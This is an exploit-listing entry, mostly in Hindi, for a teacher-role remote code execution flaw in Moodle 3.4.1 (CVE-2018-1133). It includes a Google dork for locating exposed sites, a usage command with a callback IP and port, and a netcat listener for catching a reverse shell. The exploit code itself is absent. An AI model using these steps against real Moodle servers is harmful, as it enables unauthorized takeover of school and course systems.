Moodle Exploit

• शोषण शीर्षक: Moodle v3.4.1 RCE Exploit
• Google Dork: inurl:"/course/jumpto.php?jump="
• दिनांक: 15 March 2019
• शोषण लेखक: Darryn Ten
• विक्रेता होमपेज: https://moodle.org
• सॉफ्टवेयर लिंक: https://github.com/moodle/moodle/archive/v3.4.1.zip
• संस्करण: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x)
• परीक्षण किया गया: Linux with Moodle v3.4.1
• CVE : CVE-2018-1133

एक शिक्षक भूमिका वाला उपयोगकर्ता मनमाना कोड निष्पादित कर सकता है।

उपयोग

php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1

user       खाता उपयोगकर्ता नाम
pass       खाते का पासवर्ड
ip         कॉलबैक आईपी
port       कॉलबैक पोर्ट
course     शिक्षक से संबंधित मान्य पाठ्यक्रम आईडी

सुनिश्चित करें कि आप इस स्क्रिप्ट को निष्पादित करने से पहले निर्दिष्ट पोर्ट पर एक netcat लिसनर चला रहे हैं।

nc -lnvp 1010

यह सुनने वाले आईपी और पोर्ट पर एक रिवर्स शेल खोलने का प्रयास करेगा।

नोट्स

यह शोषण Robin Peraglie द्वारा प्रदान की गई जानकारी पर आधारित है।

अतिरिक्त पठन: https://blog.ripstech.com/2018/moodle-remote-code-execution